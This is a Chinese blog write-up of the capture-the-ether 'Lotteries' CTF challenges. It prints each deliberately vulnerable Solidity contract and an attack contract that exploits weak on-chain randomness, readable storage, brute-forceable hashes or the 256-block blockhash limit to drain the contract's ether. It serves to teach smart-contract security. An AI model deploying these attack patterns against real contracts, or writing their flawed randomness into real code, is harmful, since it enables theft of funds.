IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 区块链 -> capture the ether靶场题解(Lotteries) -> 正文阅读

[区块链]capture the ether靶场题解(Lotteries)

Guess the number

分析

源码:

pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);

        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这个题要求我们调用isComplete函数,由于ropsten测试链已经关闭,我们自己进行部署和攻击就可以了。
这关要求我们猜中他的answer,但他的代码中直接就给出来了,我们直接将42放入函数进行调用就可以了,我甚至有些不敢写。

攻击

部署:
在这里插入图片描述
攻击:
在这里插入图片描述

成功:
在这里插入图片描述

Guess the secret number

分析

源码:

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这关要求我们猜中answer,但他对answer进行了哈希,要我们传入一个unit8哈希后与answer进行比较,由于他传的是uint8,最高都只能到255,我们直接进行攻击合约暴力破解即可。

攻击

攻击合约:

contract attack{
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    function guessHash()public returns(uint8){
        for (uint8 i =0;i<255;i++){
            if (keccak256(i)==answerHash){
                return i;
            }
        }
    }
}

部署两个合约并调用攻击合约guessHash函数,得到对应的Uint8值
在这里插入图片描述
将值传入guess,传入ether进行调用
在这里插入图片描述
成功后调用isComplete即完成攻击
在这里插入图片描述

Guess the random number

分析

源码:

pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);

        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这关他的answer是随机生成的,根据创建时候的区块数量进行生成,并且由于没有进行修饰符修饰,默认为internal变量,所以我们无法直接看到,但任何数据在区块链上都是无法隐藏的,我们通过web3库就能直接拿到该值

攻击

部署合约
在这里插入图片描述
将合约地址放入web3.eth.getStorageAt中,由于answer存放在slot(0)中,所以输0
在这里插入图片描述

在这里插入图片描述
查出他的answer为7,直接调用guess函数即可
在这里插入图片描述
完成攻击

Guess the new number

分析

源码:

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 0.001 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 0.001 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这题同样要求我们猜answer,但他的answer是在每次Guess的时候生成的,无法通过web3进行查询,但我们明白一件事,合约之间的调用是在同一个区块当中的,也就是说,如果我们通过攻击合约进行调用guess,那么我们攻击合约生成的answer与guess生成的answer是相同的。

攻击

攻击合约:

contract attack{
    GuessTheNewNumberChallenge guesst;
    function attack(address _addr)public{
        guesst = GuessTheNewNumberChallenge(_addr);
    }
    function att()public payable{
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        guesst.guess.value(0.001 ether)(answer);
    }
    function()external payable{
        
    }
}

部署两个合约并调用att函数攻击
在这里插入图片描述
即可发现已经把余额发送过来了,点击isComplete完成攻击
在这里插入图片描述

Predict the future

分析

源码:

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 0.001 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这关相当于要求我们提前知道未被打包的区块链内容,这看起来好像是不可能的,实际上也是不可能的
但我们能够注意到,他的answer是mod10之后的值,所以answer可能的值只有0-9,我们通过攻击合约进行爆破即可。

攻击

攻击合约:

contract attack{
    PredictTheFutureChallenge pre;
    uint8 public answer=5;
    function attack(address _addr)public{
        pre = PredictTheFutureChallenge(_addr);
    }
    function lock()public payable{
        pre.lockInGuess.value(0.001 ether)(answer);
    }
    function att()public{
        uint8 temp = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        if(temp == answer){
        pre.settle();
        }
    }
    function()external payable{
        
    }
}

部署两个合约,首先调用攻击合约的lock函数,设定我们的answer(我这里设定的answer为5,也可以为0-9的其他数字)
在这里插入图片描述
然后不停调用att合约,直到目标合约的余额变为0
在这里插入图片描述
在这里插入图片描述
经过多次调用之后,余额给我们转回来了(记得调用调gas,否则好不容易成功的还会因为gas失败)

Pridict the block hash

分析

源码:

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 0.001 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 0.001 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(0.002 ether);
        }
    }
}

这个题需要我们提前知道后一个区块的区块哈希,很明显这很难,甚至是不可能的,但block.blockhash有一个特点,他只能得到256个区块内的哈希值,一旦超过256的区块,就无法返回对应的区块哈希,只会返回零,我们根据这个来进行攻击即可。

攻击

攻击合约:

contract attack{
    PredictTheBlockHashChallenge pre;
    uint256 public blocknumber;
    bytes32 answer;
    function attack(address _addr)public{
        pre = PredictTheBlockHashChallenge(_addr);
    }
    function lock()public payable{
        blocknumber = block.number+1;
        pre.lockInGuess.value(0.001 ether)(answer);
    }
    function att()public{
        require(block.number-256>blocknumber);
        pre.settle();
    }
    function ()external payable{

    }
}

部署两个合约,并调用攻击合约的lock函数,随后等到能够调用att函数,再调用att函数。
在这里插入图片描述
调用att,攻击完成
在这里插入图片描述
Lotteries结束了,后面会更其他几个系列。

  区块链 最新文章
盘点具备盈利潜力的几大加密板块,以及潜在
阅读笔记|让区块空间成为商品,打造Web3云
区块链1.0-比特币的数据结构
Team Finance被黑分析|黑客自建Token“瞒天
区块链≠绿色?波卡或成 Web3“生态环保”标
期货从入门到高深之手动交易系列D1课
以太坊基础---区块验证
进入以太坊合并的五个数字
经典同态加密算法Paillier解读 - 原理、实现
IPFS/Filecoin学习知识科普(四)
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 12:02:40  更:2022-10-31 12:03:56 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 21:35:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计